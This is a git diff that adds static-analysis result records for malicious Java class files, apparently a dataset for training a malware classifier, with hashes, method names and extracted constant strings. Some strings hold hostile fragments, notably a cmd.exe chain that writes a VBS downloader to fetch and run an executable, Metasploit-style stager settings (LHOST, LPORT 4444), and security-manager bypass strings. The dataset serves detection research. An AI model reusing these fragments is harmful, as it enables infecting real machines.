"mkoygzcbmqdcyukt", "lmmiggdpoympqyubqgtxujaugieub", "seylzabfuvf", "nxaaophqzeo", "qokxsjtqlpwnjbvkiyeqqxegcyjxvl", "dvawjjuksxoidxsmh", "teuyytslmhqbijudpfkchqigri", "tqshcazglwcxdp", "pfjdadi", "oduscwfdlv", "tesogplokjacuwjn", "fxycwildktbi", "xzgifulzjdekyjpqtjfsxnbilwh", "cjmixwuheeracbjqrej", "apejbha", "wny", "gvhhvlhyuamorrzpfijkrit", "vylzjtoikogugmrybytkhiqc", "mgtfilynftiootwvxowqki", "kmpbdgyyblexglefomlckbdfcio", "fchgjotkpydqr", "qugmtpwvyqke", "vttjybywypbhhrqiuznldrorkko", "kpjbihaqqxnr", "wbmt", "jptquinzbanbnab", "qlwaz", "uivsx", "mqcnobh", "qepyu", "tukxfcykxhlwshrlcese", "mhyspvqavtjqgsnhorgmimpqf", "dguqhywbfpqaqn", "wlsbwrrbcbnzxgr", "iwssjhkcazvlw", "ukhuteirmebysvqcexynytqkxb", "yzwcrjaovxbctgwsnvzjelvw", "z", "oxlgmxcvzbnzjuevjxmtdgb", "svyzram", "kmrtya"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "03baf65971604e422f0467dd0abde12757b07438", "file_name": "java_malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7", "_id": "1f16a100-e16c-45c7-93f1-bbe1e2005926", "score": 0, "entropy": 5.7460694301239, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6376, "ssdeep": "96:FvciBOv25K1y13CAROkGb1jpQulaLrRw2OqlRX5lh65dNMOWbBwi7tKazCtxLbSS:FJOv2yygyLK1jQrWym0O1ae7yS", "sha256": "c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7", "md5": "d0cdce0c231a77ee7516b4a55d7fd438", "parent_sha256": "c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results b/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results
new file mode 100755
index 0000000..a5b1d3d
--- /dev/null
+++ b/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Serii.java", "class_name": "Serii", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Ne", "Ogvjh", "Pvjfg"], "minor_version": 0, "const_pool_count": 125}}, "_id": "2b8643d5-0e89-46f4-aa36-46037b588048", "verbose": {"java": {"constant strings": ["close", "wri", "te", "java", ".io.tm", "p", "dir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "11b5b8521b19f0072fdcf2702f1ff6d9136296bd", "file_name": "java_malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2", "_id": "2b8643d5-0e89-46f4-aa36-46037b588048", "score": 0, "entropy": 5.4387180534017965, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2019, "ssdeep": "24:aYLwCFlC9yQulj/PQI1E31zuSawcMgF2uqgAe2bbdwjODoecXM0gftorXY8zOE9O:awayFlDPQdAwcMFgH2leO8LMMzyMYd", "sha256": "c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2", "md5": "005a3182a552e8ba9f724a76503216bf", "parent_sha256": "c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results b/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results
new file mode 100755
index 0000000..476a9ae
--- /dev/null
+++ b/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "66ec9e2f-ded6-4dd2-9f2a-a54552ab1c07", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "smAcOxq5KPnhfDy3L", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo gond=\"smAcOxq5KPnhfDy3\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\smAcOxq5.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ce8997215f02cb47368f8092ce67c537e4d458b3", "file_name": "java_malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f", "_id": "66ec9e2f-ded6-4dd2-9f2a-a54552ab1c07", "score": 0, "entropy": 5.876693537687102, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/OB3pDhZ0A5bWoGPNFedXiDx0W6TIUdvXdGOiM89TAG8PnI:CzGlWB3pDv1WtNDO1TI6dIM89bUI", "sha256": "c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f", "md5": "b80838bf5eeebc475fce48861d5c9880", "parent_sha256": "c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results b/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results
new file mode 100755
index 0000000..5fa6bc4
--- /dev/null
+++ b/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 48, "class_name": "GondadExx/Gond", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Unknown Source", "method_names": ["<init>", "dwWork"], "minor_version": 0, "const_pool_count": 55}}, "_id": "ab24b971-5391-4c21-ab02-f05a4b60a33a", "verbose": {"java": {"constant strings": ["nXwvht6jFCrz7Yvvg", "GondadExx.ImageX", "bn", "si", "bs", "xiaomaolv"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdc3700bc8d3a3c019fcae31f8d3cb3f3bea6f14", "file_name": "java_malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd", "_id": "ab24b971-5391-4c21-ab02-f05a4b60a33a", "score": 0, "entropy": 5.080700498260803, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 24547, "ssdeep": "384:8HyByRKHbjlSeJPjcv78N5m3vL5+7d2PWGndjJF89SdUlzbc/bH6F8:8HyBlHpJP4I494cWKVyEdUlzU6F8", "sha256": "c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd", "md5": "f7ddeae8afa50d785e91721c5d9e6d4d", "parent_sha256": "c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results b/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results
new file mode 100755
index 0000000..d0dadde
--- /dev/null
+++ b/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8.results b/java_classification/data/malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8.results
new file mode 100755
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diff --git a/java_classification/data/malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1.results b/java_classification/data/malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1.results
new file mode 100755
index 0000000..2cd4e40
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diff --git a/java_classification/data/malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7.results b/java_classification/data/malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7.results
new file mode 100755
index 0000000..a9e4085
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diff --git a/java_classification/data/malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff.results b/java_classification/data/malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff.results
new file mode 100755
index 0000000..4f367d7
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diff --git a/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results b/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results
new file mode 100755
index 0000000..0233c17
--- /dev/null
+++ b/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "DIAaB.java", "class_name": "DIAaB", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "nXtDwovUb", "udaaAMSH", "dgxzovz", "qssFRHb"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3e05460f-9810-4a39-bec2-eb89b104ec9b", "verbose": {"java": {"constant strings": ["odsd+k`q+PWI", "ju`kVqw`dh", "odsd+lj+Cli`JpqupqVqw`dh", "rwlq`", "close", "`}`f", "w`bvsw67%(v%\\'", "\\'", "", "odsd+lj+qhualw", "+`}`"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "16cb7a75f7c2787373ff4a48b425f63d792dcee4", "file_name": "java_malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a", "_id": "3e05460f-9810-4a39-bec2-eb89b104ec9b", "score": 0, "entropy": 5.8441920064072495, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2759, "ssdeep": "48:Jg7lyFlGO/oydpT9rCCkjVQOFcAL626UR/mbJO1bmqI:JcwFlnr30j6jiAJO1bmb", "sha256": "c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a", "md5": "793cdbb0fec590b6461bc62708ad2e46", "parent_sha256": "c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a"}}
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diff --git a/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results b/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results
new file mode 100755
index 0000000..a8c7df1
--- /dev/null
+++ b/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "qjutgmqhtuypfjlmdspdbj.java", "class_name": "wjrqfstrvkwwtlg/qjutgmqhtuypfjlmdspdbj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "1de1729f-e0e0-44cb-af65-821186996961", "verbose": {"java": {"constant strings": ["0f67085937", "0c0YXXr", "4b344e7a5e", "h4rhvBn", "407d", "zvunRe", "\\\\.", "5d", "WTQ8", "duFJfXw"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "085b7b53ebc85286af70a1cd784e8a667f53626d", "file_name": "java_malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b", "_id": "1de1729f-e0e0-44cb-af65-821186996961", "score": 0, "entropy": 5.638350270987431, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1597, "ssdeep": "24:HsSttsy8kAljlLckxbtUqN1bvgifbzChMBgEaGqrh9:vtsy8kAl5LrblgifbzCJJGqrh9", "sha256": "c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b", "md5": "4c6c47388dde2b3f4a8179df4baf47c6", "parent_sha256": "c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results b/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results
new file mode 100755
index 0000000..5bc042b
--- /dev/null
+++ b/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "x/b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "a", "a"], "minor_version": 0, "const_pool_count": 93}}, "_id": "e85ea8b3-e5e7-47d8-aaa3-924739ead5f1", "verbose": {"java": {"constant strings": ["2HcC9Rd", "2h7IUz4cZt", "4RWNGEi", "CzRqqPAF73tVhh9", "GpzOfiPpo2N", "VF25H5S1iVOZcSfK", "VelCZ3rmaXGyYXEuyUN", "bebBIEh1Znulhc0", "gGzMtkQ6", "nFfk0U3gdcqq6M6D9A", "ofalhBM", "p.class", "q24or58zGf38sae7h", "ulRtXX", "vLlALfy3G", "x/", "yXhGRo1Tz23"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "13c5e00931339d2a6159b55be4813aa9acf781ba", "file_name": "java_malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008", "_id": "e85ea8b3-e5e7-47d8-aaa3-924739ead5f1", "score": 0, "entropy": 5.837593118529598, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1470, "ssdeep": "24:plY29wNSumXWIohy1TFxYOM8o7PzcWQDdjtOF9MNVaZfuMKNVo/osnf6/70HZWCk:p59hXWJh2YOhIPzcWQRtYMNU0/oZCIhk", "sha256": "c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008", "md5": "3b49a81c4fda1a310a825ffbc870a54c", "parent_sha256": "c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results b/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results
new file mode 100755
index 0000000..00a2942
--- /dev/null
+++ b/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/rfzlvhqxrbuzkhnmf", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "aqkvlsupcskyxhem", "gjcwicgjisjoyukbs", "ctjizpdfaykclnwovfz", "plgauplbvorkpssblvz", "edjieacntdaanyf", "hzscdqlhkifappk"], "minor_version": 0, "const_pool_count": 142}}, "_id": "b35fd5d1-c0cc-40c8-9751-5abbb39d6442", "verbose": {"java": {"constant strings": ["refshrkmohuasnv", "cceupymuudzztl", "alemsmkdgngfxgmqiao", "xrviaqripckndgwiqbmx", "desidcgvpwxvdlr", "pobvzcuhjfttftj", "qokbispjzpsooodw", "puguovkqpovyubnwut", "phlnmbwcpaknjhjoeqf", "hqcqpcyoytzwuwlfu", "ukmgcroktijvuh", "qatvaezotroeo", "wfazhtkqrgxtdjzhxq", "vhmbrmbdolbdazrxlr", "zxlhsftpeejw", "ilnyioelemoqryced", "ngpatpxywxwyhxplja", "vygxrmldqrwngzvijxrlz", "wsljdtagwjhghwvli", "glmovansgdfsjeplmwl", "bqauyqpmewopr", "rectrinuveakzm", "urpegkqbqpxghsoyrzbab", "hpouzcjtjijanjk", "tavhkdngkvnwa", "iaerlaembgdvznl", "iovtvfkyeibxejmnzr", "azqvksrmnyuqxqtwshqj", "zspptqmqkyhp", "zrnrppuhnmrymmjbtguj", "fpwxbgbgyygxez", "cfhdiijeyvan", "yitsyhilrlvwqlnel", "jazhwuuksnnxyrfbc", "gdbwukpjpjwpemejphyyl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "821f9bf8046ffcd8f4f55f949e5b48b0f44d27f4", "file_name": "java_malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53", "_id": "b35fd5d1-c0cc-40c8-9751-5abbb39d6442", "score": 0, "entropy": 5.860381121530715, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3072, "ssdeep": "48:7iV+YrAAOLrLwe2yIqTVH6e34KkgoSiWzAq6Ld3aX3cQZh/MwgJ5zBgyPv9fzHw:MBr5MIqTp6eouRAqQd2/MwA5Nt7w", "sha256": "c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53", "md5": "2536647f43a9c574710d966b8a3e502d", "parent_sha256": "c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results b/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results
new file mode 100755
index 0000000..db5454f
--- /dev/null
+++ b/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Sis", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Eppa", "NGbe"], "minor_version": 0, "const_pool_count": 164}}, "_id": "81e8eb75-d184-4093-9156-63807dfb7f9d", "verbose": {"java": {"constant strings": ["java.securi", "ty.Al", "lPermission", "add", "java.security.Permission", "java.security.", "java.security.PermissionCollection", "java.security.Prote", "ctionDo", "main", "java.io.BytWeArWrayOWutputStWreWam", "cl", "ose"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fa9f918751ff723abb0951cd8cc95ce4af123eb6", "file_name": "java_malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778", "_id": "81e8eb75-d184-4093-9156-63807dfb7f9d", "score": 0, "entropy": 5.686760869674639, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2354, "ssdeep": "48:7UPHybybkgvy8h6vbI1NshWF2qcGSgS+fg2774HApNVcN3w7/6KrWzTz:7qr4UQbyTqNQuHB3w0nz", "sha256": "c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778", "md5": "975f6d9fa77a6f666c1eb28737185baa", "parent_sha256": "c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results b/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results
new file mode 100755
index 0000000..aceac9b
--- /dev/null
+++ b/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Addoo2.java", "class_name": "wjrqfstrvkwwtlg/Addoo2", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "rWzCefBii"], "minor_version": 0, "const_pool_count": 226}}, "_id": "16bf51a9-e269-46af-9184-1d78e8b4ff67", "verbose": {"java": {"constant strings": ["::", "SXOX\\x17W\\\\M\\x17lku", "VI\\\\WjMK\\\\XT", "\\\\A\\\\Z", "K\\\\^JOK\\n\\x0b\\x19\\x14J\\x19\\x1b", "\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "654ef4d1fe49a43791168543118786a4a801440a", "file_name": "java_malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81", "_id": "16bf51a9-e269-46af-9184-1d78e8b4ff67", "score": 0, "entropy": 6.010105981022225, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3990, "ssdeep": "96:q8kAlFrCPmUErup1cc7zEcRCdEz8l2NCz:cAlFSb1cqKl2C", "sha256": "ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81", "md5": "aea355496c4e17fb5fc198d365394051", "parent_sha256": "ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results b/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results
new file mode 100755
index 0000000..a12b186
--- /dev/null
+++ b/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "korbys", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "lop", "sol", "kit", "ate", "oil", "pin", "yuk", "bad"], "minor_version": 0, "const_pool_count": 254}}, "_id": "e57446e4-bcd9-4138-9fae-26caa5063656", "verbose": {"java": {"constant strings": ["zit", "@", "sb34fdf3tSb34fdf3curityManagb34fdf3r", "b34fdf3", "e", "crwetgr25atwetgr25Writablwetgr25Rastwetgr25r", "wetgr25", "Raster", "BufferedImage", "java.awt.image.", "fientbe23le:/entbe23//", "entbe23", "", "java.security.Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "33cb622806e9f4a1c5b0e87432ff285f20305039", "file_name": "java_malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5", "_id": "e57446e4-bcd9-4138-9fae-26caa5063656", "score": 0, "entropy": 5.76002435450611, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4406, "ssdeep": "96:M4HL0NK9B7rzdsQdQMdhw9NhTNkdh2OJsHt2HQtpd8a:M4rZj7rzXQ8Ys2ms1R", "sha256": "ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5", "md5": "bf27d32b718b6abfd74273a0b06f8d7e", "parent_sha256": "ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results b/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results
new file mode 100755
index 0000000..7c4ebd1
--- /dev/null
+++ b/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "ssWTWkMlZo/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "edbb88a0-0847-4606-b3b9-7749027d34ba", "verbose": {"java": {"constant strings": ["ssWTWkMlZo.Payload", ".class", "/ssWTWkMlZo.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "ssWTWkMlZo.dat", "URL", "", "https:", "ssWTWkMlZo/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "ssWTWkMlZo/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "ssWTWkMlZo.PayloadTrustManager", "useFor", "java.net.URLConnection", "ssWTWkMlZo.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaJGGTFCJ.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c0c82ea4825bc1a411075c89c0c5e674c6fc0712", "file_name": "java_malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c", "_id": "edbb88a0-0847-4606-b3b9-7749027d34ba", "score": 0, "entropy": 6.141927446292409, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tEwqMf8E+mtmOh9Pn7xNvpvUrKYvCkgHzbDrDF:5+6BMf8E+2h9Pn1NvZU+YvaH3B", "sha256": "cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c", "md5": "e43ef8541ac763c4d990a64ae9996eba", "parent_sha256": "cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results b/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results
new file mode 100755
index 0000000..d1e806b
--- /dev/null
+++ b/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "start", "Sujkz", "HS", "<clinit>"], "minor_version": 0, "const_pool_count": 232}}, "_id": "5dedf24a-609e-4abd-8fda-e0317c8dace4", "verbose": {"java": {"constant strings": ["Kuran.class", "java.lang.invoke.MethodHandles", "lookup", "$", "forName", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.Generated", "Loader", "enter", "create", "define", "Kuran", "find", "Static", "Virtual", "Lookup"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4d1423c6aa223d482bc4a5d3e22932fd0af01836", "file_name": "java_malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57", "_id": "5dedf24a-609e-4abd-8fda-e0317c8dace4", "score": 0, "entropy": 5.8260404942946895, "libmagic": "compiled Java class data, version 51.0", "file_size": 3920, "ssdeep": "48:lOStaOPDdON3yGnkkv/g4252G2KzTUqT50sbwwoCwoHDw7K7kbhY9ESU5u8gYA85:EStJH42YYgwZwADw0EdgYrutKx", "sha256": "cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57", "md5": "df85a062ed7c7d09e756d799cbb2345f", "parent_sha256": "cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results b/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results
